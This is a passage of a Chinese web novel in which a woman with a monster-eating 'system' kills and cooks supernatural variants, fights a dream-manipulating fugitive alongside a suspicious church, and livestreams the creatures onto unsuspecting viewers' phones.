姒昭并不了解治安官的心理活动,她正翻看着艾米莉给她的资料,关于教会,关于异种,关于世界各国的情况。
沿途风景变化,车子行驶的速度减慢,治安官开口:
“小姐,我们到了。”
姒昭从资料中抽离抬头一看,嗯……该说不愧是教会吗,果然财大气粗,要是不知道她还以为给配了个城堡。
她对治安官道谢:“谢谢。”
治安官礼貌点头:“祝您拥有愉快的一天。”
话音刚落,
“砰——”
枪声打断了未尽的话语。
43.迈向新世界的第一步
“敌袭!”
“注意躲避!”
现场乱作一团,充当司机的治安官邦妮干脆利落地掏出枪,对着姒昭嘱咐道:
“请待在车上,小姐”
说着,她将另一把枪和姒昭特地让她拿的手雷塞到姒昭手里,毫不犹豫地下车应对突发事件了。
姒昭心跳如雷,脑子却意外的清醒。
她有百分之八十的把握确定外面那东西是什么,百分之百的把握肯定那绝对是异种。
邦妮的思路是下车和其它她警员一起应对敌人,可那东西从一开始就盯上她了。
邦妮离开,甚至是逃过了一劫。
果然,那位治安官刚下车,电光火石之间一条滑腻腻的“绳索”便套住了姒昭的脖颈,骤然收紧。
在感知到那滑腻的触感时姒昭本能的抬手抓住了这条绳子,然而力量差距过大,她完全无法与之抗衡。
更恐怖的是,手下那“绳索”是活的,姒昭可以清楚的感受到它如呼吸般起伏,在察觉到姒昭妄图与之对抗后那酷似人类皮肤的表皮下有东西在涌动。
不好的预感袭来,掌心触碰到的那片“皮肤”下传来眼珠滚动的触感,随即,
“嗡——”
熟悉的蜂鸣响起,“绳索”睁开了眼。
后视镜里,猩红的“眼睛”里生长出植物根系般的触须,缓缓在姒昭手背上扎根。
同时更多的触手爬满了车内的空间,锁紧车门,隔绝视线。
外面的人逐渐意识到自己被骗了,但看着爬满车窗、遮挡住视线的触手,只能一边暴力破窗一边无可奈何地通知教会。
这次,是异种主动编织罗网,诱食客入局。
手上传来尖锐的痛觉,脖颈上缠绕的“绳索”越缩越紧,系统面板上不断闪烁着鲜红的大字:
【警告!警告!警告!】
【食客正在遭受攻击!食客等级过低、双方实力差距过大,技能“震慑”发动失败!食客陷入濒死状态!】
【警告!饱腹值不足!(注:食客,你可以用饱食度完成一些不可思议的事情)】
【请谨记,食客与食材的身份会随时发生转化!请守卫好您的身份!】
触手收紧,姒昭逐渐喘不上气,几乎要陷入窒息。
在这种时刻,她的内心却在想:那东西在报复她。
它居然在报复她。
也许是“食客”身份的影响,奇异的,姒昭心底升起傲慢、不屑和愤怒。
它有什么资格报复她?!
它怎么敢?!
姒昭看着空间里的那段、她特意找艾米莉批准带回来的格努瓦斯之触,心中的怒火熊熊燃烧。
那是一种猎食者的威严被食物挑衅的愤怒。
她放弃了与锁住脖颈的触手角力,很明显,这除了让她死的更快外毫无用处。
相反,她将那段引来仇恨的格努瓦斯之触从空间里转移出来,然后——狠狠咬下去!
来吧,来吧。
她愤怒地想。
你想吃掉我,那就让我们看看谁更先被吃掉、谁才是食客吧。
她几乎是野蛮的、凶狠的、姿态粗野的啃食吞咽下那段摆放了一段时间的触手,其模样让人想起荒野里食肉的狼或咬断猎物脖颈大口吞噬对方血肉的虎。
一切就发生在这短短的瞬间,那为复仇而来异种根本意识不到这个行为背后的含义,在它看来,敌人当面吞吃自己的一部分是恶意的宣战挑衅。
这个人类的性命就握在它手里,居然还敢如此狂妄!
自大和怒火让它抛开了此前潜伏跟踪姒昭时的耐心阴毒,它现在不想满满折磨死这个人类,它只想立刻、马上,把她碎尸万段。
于是它恶意的显露出身形靠近姒昭,那些触手融化,汇聚成血盆大口,要将被锁住喉咙的人类斩首。
然而姒昭等的就是这一刻。
面板上的文字变化,一声声熟悉的提示音响起:
【玩家吞噬“格努瓦斯之触”】
【饱腹值:5(注:食客,有时你可以用饱食度完成一些不可思议的事情)】
【技能“震慑”等级提升,技能“震慑”发动】
【双方实力差距过大,无法选中】
姒昭的眼睛盯着“饱腹值”
这就足够了。
她想。
攥紧最开始让邦妮携带、在下车前留给她的手雷,
“咔嗒”一声响,
手雷被扔进了异种大张的嘴巴里。
不过须臾,轰——
烈焰冲天。
因为交战场地是汽车上的缘故,这并不是单纯的爆炸,单从状况上看用爆燃来形容显得更为贴切。
异种在姒昭拉开手雷那一刻就感受到了明显的危险气息,它本能地收回向外延展的身体部分来保全最中心的主躯干,甚至想要破窗逃生。
看似轻薄粘成蹼状的部分轻轻一拍,车窗的防弹玻璃上就产生了裂纹。
但是根本来不及,爆炸产生的威力、燃烧报废的汽车、深渊巨口里来不及吐出的手雷、死死拽着它触手的姒昭,都成为了捕杀它的猎手。
上一秒触手是它绞死姒昭的武器,这一秒成了姒昭猎食它的渔网。
它引以为傲的多形态身躯在爆炸中由内而外的变成碎肉,在火焰里变得焦黑、萎缩、干枯。
但它并不觉得自己在这场较量里输了。
诚然,它无法完全抵抗人类社会生产出的热武器,但这颗手雷同样炸不死它。
可肉体凡胎、同为人类的姒昭会死。
它太清楚这种生物有多脆弱了。
于是,它的触须轻轻颤动。
“啊,居然还没有死彻底啊”
熟悉、令它厌恶的声音传来,异种僵住了。
燃烧的废墟里,姒昭的笑容宛如恶魔:
“没死彻底也不错,现烤的话,味道一定很鲜美吧”
顶着一众治安局警员呆滞的目光,姒昭完好无损地抓住了异种的部分躯体,而异种第一次怀疑起到底谁才是“异种”。
【消耗5点饱腹值,构建“安全领域”×5】
【技能“震慑”发动成功,你成功震慑“格努瓦斯”】
姒昭微微眯起眼睛,她就说,百分之八十的概率,在得到“格努瓦斯之触”后她就拉满了本体“格努瓦斯”的仇恨,除了在教会那段时间,这东西很可能一直潜伏在她身边跟着她。
百分之二十的概率,她身上的格努瓦斯之触或者她震慑、得到格努瓦斯之触的行为吸引了某只异种,那东西开始跟着她、想吃她。
百分之百确定是异种是
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因为——太香了。
自从把异种添加到【食谱】上,她就一直闻到一股很香的气味,即使把那根触手塞进空间也能闻到。
真正让她确定的是被带到教会之后,那股气息一下子减弱了,手上的触手也香,但味道较淡,与之前没法比。
确认自己被盯上后,她才让邦妮给枚手雷——感谢她在成为任务者前去过某罗斯旅游,在那儿的硬核景区打过枪扔过雷。
为了不误伤护送她回家的各位警官,她甚至用吞噬格努瓦斯之触得来的饱腹值为她们建造了“安全领域”。
总不能人家好心护送她——虽然可能是迫于教会的命令——结果她一言不合把无辜路人和异种一起炸死吧?
至于她自己?
任务者和系统共用系统空间。
她拉完手雷扔格努瓦斯嘴里就闪空间里了。
上个世界表面是为所欲为神女,实际上是圣母,这个世界果然也很难改变这种性格。
她的成长环境、读过的书学的道理让她没办法草菅人命。
她本身还算淡定,但周围的警员可淡定不了。
围观了大半过程、亲眼目睹汽车爆炸、看见满地格努瓦斯碎片、发现爆炸中心的姒昭毫发无损、距离爆炸如此近的自己没死的各位警员:
世界观受到冲击中。
姒昭:“你好,麻烦给我个容器,我想把这些都带回家。”
邦妮行尸走肉般的递上牛皮纸袋,姒昭细心地将满地肉块捡进袋子里。
旁边的警员知道姒昭疑似从教会出来的异能者,但还是觉得世界观受到冲击,边告诉自己“哈哈异能者都这样,这是异能”边帮忙捡碎肉。
即使她们不明白异能者要异种“尸体”碎片干什么。
姒昭确认格努瓦斯暂时失去了攻击力、身负重伤且处在“震慑”影响下,便接受了警员的帮助。
同时她翻开【菜谱】,不出意外看到里面内容发生了变化:
【食材→食物:格努瓦斯之触(已吞噬)】
【注:生吃也别有一番风味呢,下次可以试试别的做法^ω^】
姒昭:总觉得这个表情贱兮兮的是怎么回事?
【食物(食材):格努瓦斯。
注:爆炸就是烧烤,烧烤让食材变成食物。
有时候,二者的界限并不清晰。】
嗯……怎么不对呢?她还把触手当海鲜生啃呢。
看完菜谱上更新的内容后,一阵突如其来的黑暗笼罩了姒昭,她清醒着陷入了黑色的梦。
梦里有盖着小红花的奖状,她站在奖状面前,目之所及是一片黑暗,唯有那张奖状发着光。
她看着上面的颁奖词:
【恭喜你迈出走向这个世界的第一步,你以杀戮捍卫猎食者的尊严和身份,以猎物的鲜血平息怒火,愿你在这个世界走得更远】
奖状的质感很差,上面印着的小红花更是拙劣而幼稚,像个捉弄人的恶作剧。
但姒昭认真地凝视着它,随后伸出手,触碰。
指尖触及奖状的那一刻,它化作稀碎光点融入她的身体。
随后,梦醒。
姒昭不动声色地打量四周,她还在原来的位置,且周围人神色无异。
一看系统面板右上角的时间,她入梦时,世界静止。
44.第 44 章
这里发生的事很快被事无巨细的汇报到了教会那里。
会议室里,乔伊情绪激动:
“我说什么来着?我就说她不正常!哪里有人连来自哪里都说不出?我们应该认真审查她的来历!”
说不定是个邪恶的东方女巫!
不然为什么,他一看见那家伙就不喜欢。
乔伊很想这么说,但他不敢。因为队友阿丽斯也是女巫,他可不敢当着对方的面说这种话。
刚从训练室出来的娜拉擦擦汗:
“好了,你以为我们不知道吗?”
“但是现在形势严峻,我们需要新鲜血液。更何况,新人的强大对接下来的任务有利无害。”
阿丽斯弹了弹指甲,神情满不在乎:
“来自哪里、究竟是谁又有什么关系呢?如果不听话的话,送到实验室就好。”
“嗯……或者你们不放心的话,让她死在任务里就行”
“我说,你们有点过分慌乱了吧?”娜拉的目光扫过众人:“一个有潜力的新人就让你们这么害怕吗?”
要说她们因为姒昭在那场爆炸中不死而恐惧倒是过了,事实上,作为教会的高层,她们拥有可以媲美部分异种的身体强度,动用自身能力的话,抗住那种程度的火力并不难。
被盯住的乔伊不自在地挠挠头:“也不是,我就是觉得,她给我的感觉很不好”
“出现的莫名其妙,实力足以加入教会但来历不明,还申请拿走异种的尸骸,整个人的行事风格都很奇怪”
“简直像针对教会的局”
看着他的神情,娜拉无声叹气:
“你太畏首畏尾了,乔伊”
“教会从不惧怕风险挑战,我们有信心解决一切困难”
“打起精神来,你再这样,我只好申请把你派去其它洲干活了”
一听这话,乔伊条件反射的站直了身体,他不要离开总部去其它洲的分部啊!
“我明白了,我会调整好自己的状态的!”
见状,娜拉点点头,示意沉默的艾米莉:
“那么,会议开始”
“让我们看看新成员的潜力。”
艾米莉插入u盘,冰蓝的数据开始对今天姒昭与格努瓦斯的战斗进行分析。
*
由于姒昭刚才的“壮举”,没人敢干涉她把异种带走的行为。
濒死的格努瓦斯就这样躺在了刚架起烧烤架上。
姒昭一边烤一边道:
“没死透也没关系哦,现在你可以再体验一遍被烤的感觉了”
居然敢挑衅她,直接吃掉!
系统望着面前陈列的胡椒辣椒盐巴酱油醋料酒陷入了沉思。
“那个,宿主,我们的任务……”
诚然宿主的表现是如此亮眼,但她怎么觉得她和任务完全被无视了?
难道她屏蔽教会的监听器针眼摄像头窃听器的技能不重要吗?要不是她现在尽职尽责做这些工作,宿主哪里能悠闲烤烧烤?
那不立马被教会抓去审问了吗?
作为主神出品的系统,在这种科技位面她可是很有用的,宿主不要抛弃她啊QAQ
姒昭:“放心啦,我这不正在做准备吗?”
她承认,她把格努瓦斯抓回来烧烤有一部分原因是为了泄愤,但是她也有记得任务啊!
这不,她都想好怎么搞了。
“统统,隔一片小湖泊你能连上对面的网吗?”
*
华国,京都时间23:32。
按理说到了睡觉时间,奈何沐熙和大多数年轻人一样,晚上不睡觉,白天起不来,躺在床上时手机最好玩。
仗着第二天没早八,她决心玩个地老天荒。
然而游戏界面忽而一卡,紧接着被一个直播界面替代。
沐熙:“嗯?”
她也没点到别的网址啊?
她按下退出键,然而退出失败;
想切屏回到游戏界面,失败;
熄屏重启,失败。
不管她怎么操作,那个突然跳出来的直播界面始终死死霸占着屏幕。
沐熙:手机中病毒了?
她仔细看了一下,这个直播界面没有名字,也没有特别介绍,甚至网址都是串代码。
沐熙有点慌,她不会点到什么诈骗链接了吧?她下载过反诈app了啊!
觉得自己点到诈骗链接的不止沐熙一个人。
直播页面下方,一条条弹幕不断弹出:
【?这什么?】
【我口袋里只有两块钱,不至于连两块钱都骗吧】
【我电脑中病毒了?360!360护驾!】
【关不掉啊——】
【重启都不行是为点什么?】
【呵呵,我关了手机换平板玩,结果你猜怎么着?我一打开平板,还是这个界面!】
【话说,这个直播间到底播什么啊?主播呢?】
……
观众们的疑惑并没有持续太久,很快,一段卷曲焦黑的触手出现在直播间内。
黑色的字体出现在屏幕上:【格努瓦斯之触】
观看直播的众人:?看着像章鱼腿。谁给起了个洋名?
但是很快,直播间内放上了新的肢体部位。
更确切来说,是主躯干。
像树干,只是肌肤带着海洋生物的粘腻,看起来像被灼烧过。
新的字体出现:【格努瓦斯】
直播界面下方,弹幕不断刷新:
【深夜章鱼吃播吗?】
【emm……也许是科普?科普一种海洋生物?】
【好像刚从烧烤架上拿下来的】
【别是在虐待动物】
【不是?我怎么觉得像灵境app上面公布出来的异种信息?】
……
华国的治安很好,即使近年来灵气复苏、诡异层出不穷,但上层以极快的反应速度建立起专门的特殊事件处理局、调动各地能人异士、军队应对这场全球范围内的变化,未造成不可挽回的伤害。<
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p>当时官方以极快的速度控制住了一切,抓捕误打误撞引气入体后触犯法律的罪犯,研发探测灵气的设备给国民做全民体检,连夜开发官方app灵境解答有关一切变化的疑问……
一系列操作下来,大部分国民几乎没怎么接触过异种,性格虎的不行。
这不,面对异种还基本认不出。
某处的会议桌前,一张张经常出现在新闻联播里的面孔正襟危坐,凝神看着大屏幕上的直播内容。
自动打开,关不上,她们的技术人员查不到来源,紧接着画面里出现异种。
怎么看,这个直播都不同寻常。
“格努瓦斯之触,格努瓦斯?”
她看过各国公布的关于异种的资料,没有出现过这个名词。
有人喃喃咀嚼着这些词:“我们这边的编号是……”
“《异种见闻录》第二页,异种编号089”
她眼中闪过一抹异色。
华国人从未停止与异种的斗争,每一场战斗、每一次战士们用勇气和智慧换来的信息,都是前人留给后来者的礼物。
她们继续看着大屏幕上的画面看。
不知道直播里的“格努瓦斯”是那异种真实的名称,还是只是与编号一样的存在?
若是前者,那这场直播的价值,不可估量。
很快,直播间内容再次变化。
原本树干状的主躯干慢慢融化,旁边的触须融进主躯干内部,二者交融为一体。
半液态的异种变换形态,无数蛇一样的枝干向外蔓延,爬满直播间的屏幕。
【靠北!】
【赔我平板!】
【我手机怎么自己飞出去了?】
【网管!这么恐怖的画面,打码啊!】
可惜这场直播没有网管,自然也不可能打码。
那些交织的“蛇”变化收缩,最终定格为张开的血盆大口,似要将一切吞噬殆尽。
而底下那张桌子已被腐蚀出深深的痕迹。
危急时刻,砰——
一只手按住了那异种,于是它便如霜打了的茄子,迅速蔫儿了。
而那只手,毫发无损。
而后,没等众人弄清发生了什么,就被齐齐踢出了直播间。
一众网友:?
新的帖子很快在网上出现:
【有人跟我一样被拉进了个章鱼直播间吗?】
【耍我们呢?想拉人进就拉,想踢就踢】
【那玩意不是章鱼吧……】
后面那通异变,她们再傻也看得出那是异种。
……
与网民们平静欢乐的气氛不同,特殊管理局的气氛凝重而沉默。
直播已经结束,但一切都被监控尽职尽责地记录下来,现在,重播。
为首的女人环视会议室后:
“开始吧”
一只异种的变化、分裂、具有的能力就这样在直播里被彻底的展现出来,无需她们亲自去接触、拿性命去探寻。
要变天了。
45.任务
姒昭觉得,教会也挺会把人当牛马使的。
比如她,刚加入就被拉去干活了。
人声鼎沸的游乐场,姒昭凑近艾米莉:
“我说真的,教会能不能换个更靠谱的人来?我这种萌新不合适吧?”
“不怕我搞砸啊?”
艾米莉:“这次任务就是专门为你准备的。”
她看向姒昭:“没办法,你的异能太奇怪了,我们必须通过实战去加深对它的了解,这样才能更好的应对未来的事情。”
艾米莉觉得自己从未见过如姒昭一样奇怪的异能者。
一般而言,异能会改造异能者的身体,潜移默化中使其体质变得更好、身体灵活性增加、对肢体的掌控力、反应速度等增加。
因此,每一个前往训练室接受教会提供的格斗、射击、发力技巧等内容的异能者,即使其曾经未曾接受过系统化训练,但仍能在短时间内对这些内容有基本的掌握。
但是姒昭不太一样。
她的身体素质跟普通人差不多,甚至比不上吃鸭血前要烫熟的吸血鬼。
姒昭:……不管怎么样,她是不会为了这种事情浪费饱腹值的。尤其是在没有得到足够【食物】、无法补充饱腹值的情况下。
好在,诚然姒昭身上有疑点,但这个世界目前对于异能者的研究成果不多,对异能产生的原因、如何操控进阶等都还处于初级阶段,且姒昭能压制异种的异能又实在强悍,教会需要她。
因此,艾米莉带着姒昭接下了这次任务:清理异能者逃犯丹尼尔·史密斯及拔出其组织。
并不是所有异能者都归属于教会。
人总是有私心的。她们中的一部分会抱团建立起自己的异能者组织,一部分则在异能失控伤害到她人后不愿承担责任成为逃犯。
教会发布的一部分任务正是针对这类人。
当然,对于教会而言,眼下最重要的是姒昭。
艾米莉的目光隐晦地落在姒昭身上,任务完成之前,只要她真的有价值,即使满身秘密也能获得包容。
她温和地安抚着身旁的人:
“不必太过担忧,教会不是还派了我和你一起做这次任务吗?”
“你总该相信我”
冬日暖阳下,艾米莉的笑容温柔而不失坚韧。
姒昭眨眨眼:“嗯……那你的异能是什么?”
艾米莉微笑:“如果你只是问名称的话,我是【牧师】。”
“但是,你知道的,具体实操起来的效果远比笼统的名称充满更多细节,到时候你看到就明白了。”
姒昭看着她:“这样吗?我明白了。”
她也对着艾米莉露出笑容,目光触及远处的人群时自然垂下的手微动,然后——
砰!
一声枪响,响彻天空。
电光火石之间,姒昭毫不犹豫地拔枪射击,子弹向着目标呼啸而去,像一道白色闪电直击目标胸口。
人群像被丢进油锅的虾子,瞬间炸开。
姒昭放下枪:很好,有进步。
警笛声乍响,提前潜伏在人群里的治安官同极速赶来的同僚上前维持秩序。
艾米莉带着姒昭隐入人群,远程指导治安官:
“让他逃掉,但别跟丢了。”
任务目标有丹尼尔·史密斯,还有“其组织”。
她们的目标,不止一个。
很快,治安局的消息传来,她们共同前往下一个地点。
那是一个让人颇为惊诧的地方:酒店。
到达后,艾米莉看向姒昭的神情中带着几分讶异:
“你怎么那么准确地认出他的?”
那时候,很混乱吧,而且她们当时正在交谈。
怎么认出来的……姒昭轻轻敲击自己的指节,当然是因为,他头上明晃晃的黄名啊。
姒昭想,很奇怪,一开始她以为只有艾米莉是这样,但后来发现不知道为什么,她目前见过的异能者都是介于食材与非食材间的黄名。
异能者本就不多,她再把看到的黄名和教会给出的资料对应,自然就能认出是谁。
思考中,她看了看系统面板上的信息,她得到的奖状会和这个有关系吗?
当然,面对艾米莉,她不能这么说。
于是,姒昭解释道:“可能是异能附带的效果吧,对于我来说,即使对方不动用异能,我还是能感觉到对方和我是同类。”
“这样吗?”艾米莉看着她。
姒昭一脸真诚的点头:“真的。”
艾米莉轻笑,算作接受了这个答案。
“那先好好休息一下吧,我们的任务还没完成呢。”
“对了,记得再多看看给你的资料”
那上面标注了此次任务要注意的点。
她耐心细致,每一点都符合新人对前辈的幻想和希望。
金发的异能者望着酒店布局,眼中兴味十足。
新来的异能者真的很张扬,很有恃无恐。
她似乎看出了自己对于教会的重要性,并凭借这一点一而再再而三挑衅她们。
瞧瞧,她甚至连借口和理由都不愿意找好一点用心一点的。
艾米莉仍然保持着温和有礼的模样,心情却算不上美妙。
如此行事,再优秀又能活多久?教会的实验室可不是摆设。
*
深夜,水声嘀嗒。
姒昭感受到一股潮湿阴冷的气息环绕在身旁。
她从睡梦中清醒过来,有些不明白自己是怎么睡过去的。
不是来这里守株待兔、深入虎穴的吗?
她一转头,看见身旁熟睡的艾米莉。
姒昭:?她一个新人着了道就算了,怎么这种教会老油条也一起睡着了?
她伸手推了推艾米莉,正欲叫醒对方,忽觉手下触感不对。
冰冷,僵硬,像一具死去已久的尸体。
姒昭猛地收回手。
她再次从睡梦中睁开眼。
熟悉的天花板,熟悉的床铺。
什么情况?刚才那是个梦?
姒昭嗅闻着空气中的气息,她没有闻到属于异种的香气,系统面板上也没有显示艾米莉一以外的黄名。
再次偏转脑袋,她看见艾米莉躺在身旁,与梦中的景象别无二致。
不同的是,这次她可以听见艾米莉细微的呼吸声,看见她柔软有光泽的肌肤,活人的肌肤。
周围静悄悄的,没有半点声音。
她没有看见逃犯丹尼尔或者他所隶属组织的成员,这里也没有异种入侵,一切都很平静。
奇怪,艾米莉之前跟她说过要小心这个组织的什么来着?
想不起来了。
夜色静谧,姒昭伸手推了推艾米莉:
“艾米莉,艾米莉,醒醒,我们还有任务。”
谨慎为上,她没直接说出任务内容。
听到呼喊的艾米莉身体动了动,然后转向姒昭面对着她:
“怎么了?”
听到回答,姒昭下意识开口:
“我们……”
然而下一秒,看清艾米莉的面容后,姒昭瞳孔骤缩。
原本泛着活人光泽的肌肤迅速干瘪脱水,尖锐不属于人类的犬齿比镰刀还锋利。
恐怖暴击,一睁眼就是鬼脸突袭。
姒昭本能地掏枪上膛,一边动作利索地控制住身旁这具青面獠牙的身体,一边将枪怼进“艾米莉”生着尖牙的口中扣动扳机。
她接连开枪,直到确认这玩意再也动弹不了了。
这到底怎么回事?
姒昭皱眉,之前教会给的、和这个组织相关的资料里面写了什么来着?
她明明早就记熟了啊。
仿佛整个人陷入了泥沼,姒昭感到自己的脑袋像生锈卡顿的机器。
“嘻嘻”
细碎阴森的笑声飘来。
姒昭抬头,顺着声音找去。
高高的窗户之上,浑身青紫的婴鬼笑的可怖。
不知道它在那里看了多久,刚刚被杀死的那只“鬼”又和它有什么关系。
等等,鬼?
姒昭动作颇有些迟缓地看着爬地极高的婴鬼、酒店墙壁上缓缓浮现的婴儿手印脚印和人脸。
会有人的异能是操控“鬼怪”吗?
她轻轻嗅了一口周围的气息,再次分辨周围的一切。
没有,没有香味。
也看不见异能者的黄名。
姒昭手指微动,她知道了。
她想起来了。
教会给的资料里写了:【注意,逃犯丹尼尔·史密斯的异能为“梦魇”,“梦魇”可通过吸收她人生命成长进阶】
可通过吸收她人生命成长进阶——这才是丹尼尔成为罪犯的原因。
姒昭举枪,瞄准了婴鬼。
砰!
【技能“震慑”发动成功】
有什么被迅速撕裂,姒昭听到了猎猎风声。
她被困在梦魇编织的茧里,直到此刻清醒,撕裂茧壳,重返现实。
眼睛尚未睁开,她就感受到一阵凌厉的劲风,当即条件反射性往旁边一闪,紧接着腹部一凉,腹部的衣服被划开一道口子,有什么冰冷的东西擦过她的肌肤。
姒昭捂住腹部,毫不意外地摸到了一手血。
幸好闪的快,只是割破了表层肌肤,要是慢一步,她会被直接斩成两段。
这么想着,姒昭脑子里突然冒出一个念头:不知道被斩成两段后,饱腹值能不能把她救回来?
“姒昭!”
艾米莉拔枪朝她身后射击,银色的子弹流光一样撞上刀锋。
周围是满地的鲜血和尸体,姒昭身后,刚才攻击她的人双臂异化为骨刀,目光极冷地看着她。
姒昭:……干什么?怎么对一个沉睡的人那么大敌意?
她擦了擦流血的腹部,这时才有时间细看周围的环境。
血腥味充盈这片空间,异种的香气与之混合。
骨刀人冷冷看着她,无数黑色丝线从她身上射出,扭曲迸射向姒昭。
千钧一发之际,流淌着荧蓝色纹路的触手越过姒昭与黑线对上,挡下了骨刀人的攻击。
“姒昭,你醒了”
艾米莉来到她身边,数十只生着尖刺的、铁链般的触须自她背后生出、在空中蓄势待发,这正是刚才救了她的东西。
隔着满地尸体鲜血,对面的骨刀人看着她们,声音像粗犷男声与尖锐女声的合唱:
“她再不醒就要被梦魇活生生困死了”
“你们教会的人真是狠心,就这么把新人当一次性消耗用品,为了让她牵制我的【梦魇】,不在乎她会不会死在梦魇里”
听到那诡异的声音姒昭才惊觉,对面那家伙不是女人。
先前骨刀人的身体半边隐在阴影里导致她误判,如今细看才发觉,她的身材魁梧到超出人类范围的程度,右边那部分有着女性的特征,左边却完全与之相反,导致她整个人看起来像把女人和男人的身体缝合在一起。
艾米莉站在姒昭身旁,神色并无变化:
“有能力活下来的才是教会的新人,她可以”
身后泛着冷光的触须微动,她将手枪留给姒昭,道:
“她醒了,你的梦魇失效了,丹尼尔”
姒昭这才有时间细看周围的异常,无数断裂的、黑色的丝线躺在角落里,与她醒来时包裹她的茧一样。
嗯?
这群人动用异能的时候看起来怎么都离人有点远……但姒昭好像有点明白了,难怪她刚醒那个骨刀人就一副跟她有深仇大恨的样子追着她杀。
原来她把蜘蛛织好的、包裹整个酒店的网破坏掉了。
对于她和艾米莉来说,来到这里是守株待兔深入虎穴,但对于丹尼斯及其组织成员来说,又何尝不是引她入局瓮中捉鳖。
梦魇的茧包裹的不止是梦境,还有现实。但她在睡梦中打破了茧。
而且……姒昭看着这满地的尸体、艾米莉背后那泛着冷光、带着血迹的触手,比起对抗,这看起来更像单方面的屠杀。
果然,下一秒,
“咻——”
子弹闪电一样飞驰,身旁的艾米莉轻而易举地躲开它,猎豹一样朝对面的丹尼尔,狠狠砸出拳头。
与此同时,身后那些细长的触手洞穿对方的身体,原本附在上面绒毛一样的倒刺立刻根根倒立起来,坚硬如钢针。
丹尼尔也不可能束手就擒,她的脑袋旋转了一百八十
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度,后脑勺上生着的另一张脸转向艾米莉,锐利的骨刀与触手对抗,一时间双方竟僵持不下。
但是,姒昭在这里。
艾米莉带她来出这个任务,就是为了测试她的整体能力。
而其中最重要的,教会看上的,是“震慑”。
而这个按理来说只对异种有用的技能,但是,刚刚从梦魇之茧挣脱的时候,这个技能被触发了,且她闻到了异种的味道。
这里有异种。
姒昭看着与艾米莉缠斗在一起、缝合怪一样的丹尼尔,好香。
【已添加食材“貘”(初生)】
【技能“震慑”发动失败,双方实力差距过大】
【使用饱腹值×10,技能“震慑”等级提升】
【技能“震慑”发动成功】
姒昭握着艾米莉留下的枪,在混乱里努力瞄准丹尼尔。
艾米莉的枪和她的不一样,这里面的子弹是银色、特制的。这或许是她把枪留下的原因。
也是“活下来的新人才配拥有参与战斗的武器”。
否则最开始,她们就该给她这样的特制武器。
但正如姒昭一直在不走心地对教会扯谎一样,她现在也不会有多在意这份武器和认可。
她握着枪,却在暗中调动了饱腹值。
然后,
砰!
【消耗饱腹值×1】
对面,子弹没入太阳穴,丹尼尔失去了生息。
姒昭手指微动,所以之前用来保护治安官的“安全领域”只是用饱腹值构建了用于防护的能量罩,而此刻包裹着子弹的那部分能量则用于杀戮。
饱腹值只是“能量”,可以守护也可以杀戮,而不同于她此前理解的“创造”。
她还在思索,结束了战斗的艾米莉走向她:“干得好,看来射击训练还是有一定成果的。”
说着,她上下打量了姒昭一圈:
“果然,实战才是检测实力的最好手段,也让我们更好地了解自己的能力。”
姒昭听到她的话,忽而露出一个笑:
“您说得对”
不打这一出,她怎么摸得清饱腹值到底怎么用。
不过,不是她不想,主要这玩意难得,她一共也没多少,之前吃了格努瓦斯也只有二十五点。
所以,
“我想要这个”
她来到丹尼尔的尸体旁,指着她的脑袋。
艾米莉的表情变的微妙起来:“这个?”
姒昭一看就知道自己被误会成变态了。
为了自证清白,她捡起地上的刀,噗嗤一声切开了尸体的脑袋——不知道这尸体怎么回事,死之后脑壳跟豆腐一样脆弱。
红色的、珊瑚一样的东西在里面轻微蠕动着,一到姒昭手里就安静如鸡。
姒昭毫不客气地把它掏出来:
“我要这个”
这就是【食谱】上的【貘】了。
也是丹尼尔“梦魇”能力的由来,梦貘,以梦为食,构建梦境,颠倒现实,入侵现实。
她怕这玩意跑了,还专门消耗了饱腹值一半攻击一半禁锢呢。
然而艾米莉表情为难:
“不行”
她看着姒昭:“不可以,教会需要它”
教会不可能因为一个普通异能者组织如此大费周章,她们抓丹尼尔及其组织明面上是维护秩序,实则想拿貘当实验素材。
不管是不是寄生,丹尼尔究竟被寄生了多久,貘是不是真的需要性命为养料来晋升以至于丹尼尔一直杀人,人类可以共享异种的能力这一点就足以让教会心动了。
姒昭看着她,退一步道:
“那能不能给我其它的、教会不需要的异种,就像上次我拿走那份一样?”
艾米莉思考了一会儿:“嗯……我可以去问问,跟她们打报告”
姒昭看着她,最终无奈道:“好吧。”
她好像放弃了。
酒店这边收工了,对面一栋高楼之上,一枚硬币落下,精准地落在女人手中。
“不错啊新人,看来不用你动用【子弹时间】了。”
娜拉赞赏道。
阿丽斯俯身趴在屋顶上,面前架着一把狙击枪,一只眼紧盯着狙击镜,头也不回地道:“除了最开始撕裂梦魇之茧,也就压制异种的能力还能看,反应速度、应对能力、身体素质、格斗技巧全都不合格。”
娜拉耸肩:“没关系啊,反正我们也只需要她压制异种。”
想起姒昭应对教会那堪称敷衍的话术,她微微一笑:“说不定以后教会可以把这项能力剥离出来批量生产哦。”
“也不一定”,阿丽斯收起手中的枪,看了眼娜拉:“也可能在压制【卵】的时候,她就会死。”
*
夜晚,华国首都时间21:00。
无数华国人再次被拉进不知名直播间。
一部分和上次被拉的人重叠,一部分则是新人。
【这是啥?】
【又来了又来了!第二次!】
【哇,这是网上说的那个异种科普直播间吗?】
【怎么没法退出】
……
华国,特殊事件处理局。
自从上次直播后,她们就二十四小时有人待命,一有直播信息就召集开始看新直播。
首位的女人目光锐利,这次,会给出什么样的信息?
很快,艳红的、珊瑚状物品出现在直播间屏幕上。
黑色的字体出现:
【貘(初生)】
……
阿美利卡,姒昭不高兴地狠狠尝了一口貘煲汤。
哼,上了她的食谱,那就是她的食物。
都裹上她的饱腹值了还想跑?
看她不给它狠狠剁了煲汤。
要不是现在还不能离开教会,别说这份还没送到实验室的貘了,实验室所有的异种她都打包带走。
至于艾米莉她们怎么想?
爱怎么想怎么想呗,她又没掩饰,她们也没撕破脸。
嗯,当然,最重要的一点是:
【吞噬貘(初生),获得饱腹值×26】
【当前饱腹值:40】
暖暖的,很安心。
46.卵
教会,科研院内一片狼藉。
娜拉表情冷漠,素来挂着温和笑容的艾米莉卸去了微笑,一旁的乔伊挑眉,神情却算不上诧异。
他咂咂嘴:“我说什么?我说什么来着?那个来历不明的新人迟早惹出大祸”
“你看看你看看,都说了异种归属于教会,她还搞这一出”
他张着嘴跟娜拉告状,很明显的看热闹不嫌事大。
娜拉敲了敲耳麦:
“情况如何?”
泛着冷光的大屏幕尽职尽责地展现出姒昭家各个角落的模样,嗯,当然,除了卫生间浴室之类的地方。
不过即使是卫生间,如果姒昭在里面待太久的话,她们放置的设备也会传出异常提示。
